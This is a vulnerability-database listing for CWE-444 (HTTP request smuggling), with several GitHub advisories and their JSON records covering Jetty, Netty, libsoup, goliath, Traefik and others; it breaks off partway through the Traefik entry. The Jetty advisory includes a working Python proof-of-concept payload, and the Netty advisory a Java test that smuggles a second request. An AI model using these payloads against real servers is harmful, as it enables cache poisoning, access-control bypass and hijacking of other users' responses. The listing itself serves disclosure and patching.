GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-444

Allowed

Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.

673 vulnerabilities reference this CWE, most recent first.

GHSA-355H-QMC2-WPWF

Vulnerability from github – Published: 2026-04-14 23:40 – Updated: 2026-08-14 18:39
VLAI
Summary
Jetty has HTTP Request Smuggling via Chunked Extension Quoted-String Parsing
Details

Description (as reported)

Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques: - https://w4ke.info/2025/06/18/funky-chunks.html - https://w4ke.info/2025/10/29/funky-chunks-2.html

The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.

Technical Details

RFC 9112 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

A quoted-string continues until the closing DQUOTE, and \r\n sequences are not permitted within the quotes.

Vulnerability

Jetty terminates chunk header parsing at \r\n inside quoted strings instead of treating this as an error.

Expected (RFC compliant):

Chunk: 1;a="value\r\nhere"\r\n
         ^^^^^^^^^^^^^^^^^^ extension value
Body: [1 byte after the real \r\n]

Actual (jetty):

Chunk: 1;a="value
            ^^^^^ terminates here (WRONG)
Body: here"... treated as body/next request

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: Server returns 2 HTTP responses from a single TCP connection.

Parsing Breakdown

Parser Request 1 Request 2
jetty (vulnerable) POST / body="X" GET /smuggled (SMUGGLED!)
RFC compliant POST / body="Y" (none - smuggled request hidden in extension)

Impact

  • Request Smuggling: Attacker injects arbitrary HTTP requests
  • Cache Poisoning: Smuggled responses poison shared caches
  • Access Control Bypass: Smuggled requests bypass frontend security
  • Session Hijacking: Smuggled requests can steal other users' responses

Reproduction

  1. Start the minimal POC with docker
  2. Run the poc script provided in same zip

Suggested Fix

Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112. A CRLF inside a quoted-string should be considered a parsing error and not a line terminator.

Patches

No patches yet.

Workarounds

No workarounds yet.

References

  • RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)
  • Funky Chunks Research: https://w4ke.info/2025/06/18/funky-chunks.html
  • details for security versions https://jetty.org/security.html
Severity
7.4 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.1.6"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.1.0"
            },
            {
              "fixed": "12.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.0.32"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "12.0.33"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 11.0.28"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.0.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.0.27"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.4.59"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.4.0"
            },
            {
              "fixed": "9.4.60"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-2332"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:40:31Z",
    "nvd_published_at": "2026-04-14T12:16:21Z",
    "severity": "HIGH"
  },
  "details": "### Description (as reported)\n\nJetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n### Background\n\nThis vulnerability is a new variant discovered while researching the \"Funky Chunks\" HTTP request smuggling techniques:\n- https://w4ke.info/2025/06/18/funky-chunks.html\n- https://w4ke.info/2025/10/29/funky-chunks-2.html\n\nThe original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.\n\n### Technical Details\n\n**RFC 9112 Section 7.1.1** defines chunked transfer encoding:\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nA quoted-string continues until the closing DQUOTE, and `\\r\\n` sequences are not permitted within the quotes.\n\n### Vulnerability\n\nJetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of treating this as an error.\n\n**Expected (RFC compliant):**\n```\nChunk: 1;a=\"value\\r\\nhere\"\\r\\n\n         ^^^^^^^^^^^^^^^^^^ extension value\nBody: [1 byte after the real \\r\\n]\n```\n\n**Actual (jetty):**\n```\nChunk: 1;a=\"value\n            ^^^^^ terminates here (WRONG)\nBody: here\"... treated as body/next request\n```\n\n### Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n    b\"POST / HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Transfer-Encoding: chunked\\r\\n\"\n    b\"\\r\\n\"\n    b\u00271;a=\"\\r\\n\u0027\n    b\"X\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n    b\"GET /smuggled HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Content-Length: 11\\r\\n\"\n    b\"\\r\\n\"\n    b\u0027\"\\r\\n\u0027\n    b\"Y\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n    try:\n        chunk = sock.recv(4096)\n        if not chunk:\n            break\n        response += chunk\n    except socket.timeout:\n        break\n\nsock.close()\nprint(f\"Responses: {response.count(b\u0027HTTP/\u0027)}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** Server returns 2 HTTP responses from a single TCP connection.\n\n#### Parsing Breakdown\n\n| Parser | Request 1 | Request 2 |\n|--------|-----------|-----------|\n| jetty (vulnerable) | POST / body=\"X\" | GET /smuggled (SMUGGLED!) |\n| RFC compliant | POST / body=\"Y\" | (none - smuggled request hidden in extension) |\n\n### Impact\n\n- **Request Smuggling**: Attacker injects arbitrary HTTP requests\n- **Cache Poisoning**: Smuggled responses poison shared caches\n- **Access Control Bypass**: Smuggled requests bypass frontend security\n- **Session Hijacking**: Smuggled requests can steal other users\u0027 responses\n\n### Reproduction\n\n1. Start the minimal POC with docker\n2. Run the poc script provided in same zip\n\n### Suggested Fix\n\nEnsure the chunk framing and extensions are parsed exactly as specified in RFC9112. \nA CRLF inside a quoted-string should be considered a parsing error and not a line terminator.\n\n\n### Patches\nNo patches yet.\n\n### Workarounds\nNo workarounds yet.\n\n### References\n\n- RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)\n- Funky Chunks Research: https://w4ke.info/2025/06/18/funky-chunks.html\n- details for security versions https://jetty.org/security.html",
  "id": "GHSA-355h-qmc2-wpwf",
  "modified": "2026-08-14T18:39:11Z",
  "published": "2026-04-14T23:40:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jetty/jetty.project/security/advisories/GHSA-355h-qmc2-wpwf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2332"
    },
    {
      "type": "WEB",
      "url": "https://w4ke.info/2025/06/18/funky-chunks.html"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-2332.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/cve-assignment/-/issues/89"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jetty/jetty.project"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458187"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-2332"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:50263"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:50223"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:50222"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:50221"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:25089"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:22453"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:21773"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:20568"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:17668"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:14272"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:10175"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jetty has HTTP Request Smuggling via Chunked Extension Quoted-String Parsing"
}

GHSA-3786-V5G9-6834

Vulnerability from github – Published: 2022-02-17 00:00 – Updated: 2022-04-20 00:01
VLAI
Details

An information disclosure vulnerability exists in the HTTP Server /ping.html functionality of Texas Instruments CC3200 SimpleLink Solution NWP 2.9.0.0. A specially-crafted HTTP request can lead to an uninitialized read. An attacker can send an HTTP request to trigger this vulnerability.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-21966"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444",
      "CWE-908"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-16T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An information disclosure vulnerability exists in the HTTP Server /ping.html functionality of Texas Instruments CC3200 SimpleLink Solution NWP 2.9.0.0. A specially-crafted HTTP request can lead to an uninitialized read. An attacker can send an HTTP request to trigger this vulnerability.",
  "id": "GHSA-3786-v5g9-6834",
  "modified": "2022-04-20T00:01:27Z",
  "published": "2022-02-17T00:00:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21966"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2021-1393"
    },
    {
      "type": "WEB",
      "url": "https://www.ti.com/lit/an/swra740/swra740.pdf?ts=1645536893264\u0026"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-37R8-854R-595C

Vulnerability from github – Published: 2024-11-11 21:31 – Updated: 2025-11-04 00:32
VLAI
Details

GNOME libsoup before 3.6.0 allows HTTP request smuggling in some configurations because '\0' characters at the end of header names are ignored, i.e., a "Transfer-Encoding\0: chunked" header is treated the same as a "Transfer-Encoding: chunked" header.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-52530"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-11T20:15:20Z",
    "severity": "HIGH"
  },
  "details": "GNOME libsoup before 3.6.0 allows HTTP request smuggling in some configurations because \u0027\\0\u0027 characters at the end of header names are ignored, i.e., a \"Transfer-Encoding\\0: chunked\" header is treated the same as a \"Transfer-Encoding: chunked\" header.",
  "id": "GHSA-37r8-854r-595c",
  "modified": "2025-11-04T00:32:01Z",
  "published": "2024-11-11T21:31:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52530"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.gnome.org/GNOME/libsoup/-/issues/377"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.gnome.org/GNOME/libsoup/-/merge_requests/402"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.gnome.org/Teams/Releng/security/-/wikis/home"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/12/msg00014.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3855-8298-M4GC

Vulnerability from github – Published: 2025-12-15 21:30 – Updated: 2025-12-15 21:30
VLAI
Details

Member Login Script 3.3 contains a client-side desynchronization vulnerability that allows attackers to manipulate HTTP request handling by exploiting Content-Length header parsing. Attackers can send crafted POST requests with smuggled secondary requests to potentially bypass server-side request processing controls.

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-53878"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-15T21:15:50Z",
    "severity": "MODERATE"
  },
  "details": "Member Login Script 3.3 contains a client-side desynchronization vulnerability that allows attackers to manipulate HTTP request handling by exploiting Content-Length header parsing. Attackers can send crafted POST requests with smuggled secondary requests to potentially bypass server-side request processing controls.",
  "id": "GHSA-3855-8298-m4gc",
  "modified": "2025-12-15T21:30:32Z",
  "published": "2025-12-15T21:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53878"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/51710"
    },
    {
      "type": "WEB",
      "url": "https://www.phpjabbers.com/member-login-script"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/member-login-script-client-side-request-desynchronization-vulnerability"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3892-2R52-P65M

Vulnerability from github – Published: 2021-05-24 18:20 – Updated: 2023-01-25 22:49
VLAI
Summary
HTTP Request Smuggling in goliath
Details

goliath through 1.0.6 allows request smuggling attacks where goliath is used as a backend and a frontend proxy also being vulnerable. It is possible to conduct HTTP request smuggling attacks by sending the Content-Length header twice. Furthermore, invalid Transfer Encoding headers were found to be parsed as valid which could be leveraged for TE:CL smuggling attacks.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "goliath"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7671"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-13T17:20:47Z",
    "nvd_published_at": "2020-06-10T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "goliath through 1.0.6 allows request smuggling attacks where goliath is used as a backend and a frontend proxy also being vulnerable. It is possible to conduct HTTP request smuggling attacks by sending the Content-Length header twice. Furthermore, invalid Transfer Encoding headers were found to be parsed as valid which could be leveraged for TE:CL smuggling attacks.",
  "id": "GHSA-3892-2r52-p65m",
  "modified": "2023-01-25T22:49:54Z",
  "published": "2021-05-24T18:20:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7671"
    },
    {
      "type": "WEB",
      "url": "https://github.com/postrank-labs/goliath/issues/351"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/postrank-labs/goliath"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-RUBY-GOLIATH-569136"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HTTP Request Smuggling in goliath"
}

GHSA-38F8-5428-X5CV

Vulnerability from github – Published: 2026-05-07 00:22 – Updated: 2026-05-14 20:41
VLAI
Summary
Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding
Details

Summary

Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.

Details

Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length

" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "

A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.

PoC

The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.

@Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();
    }

Impact

HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42585"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:22:27Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nNetty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.\n\n### Details\nNetty incorrectly marks a request as chunked when malformed \"Transfer-Encoding: chunked, identity\" is present.\nAccording to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length\n\n\"\nIf a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding,\n the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request)\n status code and then close the connection.\n\"\n\nA possible scenario is when Netty is behind a proxy that doesn\u0027t reject requests with \"Transfer-Encoding: chunked, identity\", but prefers \"Content-Length\" and forwards the content to Netty.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.\n\n```java\n@Test\n    public void test() {\n        String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"Transfer-Encoding: chunked, identity\\r\\n\" +\n                \"Content-Length: 48\\r\\n\" +\n                \"\\r\\n\" +\n                \"0\\r\\n\" +\n                \"\\r\\n\" +\n                \"GET /smuggled HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"\\r\\n\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n        // Request 1\n        HttpRequest request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        assertTrue(request.headers().contains(\"Transfer-Encoding\"));\n        assertFalse(request.headers().contains(\"Content-Length\"));\n        LastHttpContent last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n\n        // Request 2\n        request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n    }\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
  "id": "GHSA-38f8-5428-x5cv",
  "modified": "2026-05-14T20:41:21Z",
  "published": "2026-05-07T00:22:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42585"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding"
}

GHSA-3CCP-42PG-HGV6

Vulnerability from github – Published: 2026-08-06 15:56 – Updated: 2026-08-06 15:56
VLAI
Summary
Traefik: Cross-user response poisoning via proxied CONNECT on Traefik's shared backend keep-alive pool
Details

Summary

There is a critical vulnerability in Traefik's default HTTP reverse proxy that leads to unauthenticated cross-user response poisoning. When a client opens an HTTP/2 or HTTP/3 CONNECT request, Traefik forwards it — body included — to an HTTP/1.1 upstream over a shared net/http.Transport. If the upstream answers the CONNECT with a keep-alive non-2xx response without draining the body, the now-desynchronized backend socket is returned to Traefik's shared connection pool and reused for other clients, letting an attacker make a different client read a response the attacker smuggled — which may be another user's authenticated or private content. The entrypoint's sanitizePath option (default true) is not a reliable defense: backends that answer CONNECT / with a keep-alive non-2xx remain exploitable. The experimental FastProxy implementation was not affected. The issue is fixed by deferring the forwarded CONNECT payload until the backend accepts the tunnel, by not returning CONNECT connections to the shared idle pool, and by discarding the CONNECT body in the ForwardAuth path.

Patches

  • https://github.com/traefik/traefik/releases/tag/v2.11.53
  • https://github.com/traefik/traefik/releases/tag/v3.6.24
  • https://github.com/traefik/traefik/releases/tag/v3.7.9

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ## Summary Traefik's default reverse proxy forwards a plain HTTP/2 or HTTP/3 `CONNECT` request and its body to an HTTP/1.1 upstream through a shared `net/http.Transport`. When the upstream answers the CONNECT with a keep-alive non-2xx response and does not drain the body, Traefik returns the now desynchronized backend socket to its shared pool and reuses it for other clients. An unauthenticated attacker uses this to make a different client read the attacker's smuggled response. Traefik's default proxy is `net/http/httputil.ReverseProxy` over a shared `http.Transport`, so it inherits the same root cause as the Caddy `reverse_proxy` CONNECT pool poisoning. Traefik ships one partial mitigation Caddy does not. The entrypoint option `sanitizePath` (default `true`) rewrites the forwarded CONNECT's empty path to `/`, so Traefik emits `CONNECT /` instead of authority-form `CONNECT host:port`. This is not a reliable defense. It avoids the smuggle only against backends that reject `CONNECT /` by closing the connection (Apache, nginx). Backends that answer `CONNECT /` with a keep-alive non-2xx and leave the body undrained still cross. That set includes any Go `net/http` server and gunicorn/Flask. Confirmed on the official image `traefik:v3.6.23` (a currently supported release), default configuration, against stock `go-httpbin` (Go) and `kennethreitz/httpbin` (Python gunicorn/Flask), attacker and victim in separate containers, over both HTTP/2 and HTTP/3. ## Affected - `traefik:v3.6.23` (official image) and current v3, default configuration, standard proxy to an HTTP/1.1 upstream. Backend keep-alive pooling is on by default (`MaxIdleConnsPerHost` 200). - Attacker frontend is HTTP/2 or HTTP/3. An HTTP/1.1 frontend is not affected. - The upstream keeps the connection alive after a non-2xx to the forwarded CONNECT and does not drain the body. - The experimental FastProxy implementation is not affected (see Not affected). ## Details Three behaviors compose. 1. Traefik forwards a plain CONNECT as an ordinary proxied request. The default proxy is `httputil.ReverseProxy` with a shared `http.Transport` (`pkg/proxy/httputil/proxy.go`). The director assigns the outbound `URL.Host` directly and does not reject CONNECT, leaving the request body a live stream. The client places a raw HTTP/1.1 request in that body (H2/H3 DATA frames), which is written onto the backend socket after the CONNECT header block. 2. `net/http` writes the CONNECT body unframed and pools the socket. For a CONNECT the transport writes the body with no `Content-Length` and no `Transfer-Encoding`. The upstream answers a keep-alive non-2xx and parses the trailing bytes as a pipelined request. Go reads the non-2xx response and returns the socket to the shared idle pool once the request body reaches EOF (the `wroteRequest` gate), while the smuggled request's response is still pending. 3. Desynchronized reuse. The smuggled request targets a slow endpoint so its response arrives after the socket is pooled. A different client that reuses the socket reads the pending smuggled response as its own. `sanitizePath` (default `true`, `pkg/server/server_entrypoint_tcp.go`) calls `req.URL.JoinPath()`, which turns the CONNECT's empty path into `/`. Traefik emits `CONNECT /`. Whether that stops the smuggle depends only on the backend: Apache and nginx answer `400 Bad Request` with `Connection: close` (socket torn down, no cross); Go `net/http` and gunicorn/Flask answer a keep-alive non-2xx and pipeline the trailing bytes (cross). With `sanitizePath` off, Traefik emits authority-form `CONNECT host:port`, which Apache answers with a keep-alive `405`. HTTP/2 and HTTP/3 only. Pooling requires the forwarded request body to reach EOF. An H2/H3 client half-closes the CONNECT stream (END_STREAM), so the body reaches EOF while the connection stays open and the socket is pooled. An H1 CONNECT body is the tunnel and cannot reach EOF without closing the connection, so the socket is closed, not pooled. HTTP/3 routes to the same handler chain as HTTPS. ## Backend behavior "Armed" means the backend answers with a keep-alive non-2xx and parses the trailing undrained bytes as a pipelined request. Default Traefik emits `CONNECT /`; with `sanitizePath: false` it emits authority-form `CONNECT host:port`. | Backend (stock image) | Server | `CONNECT /` 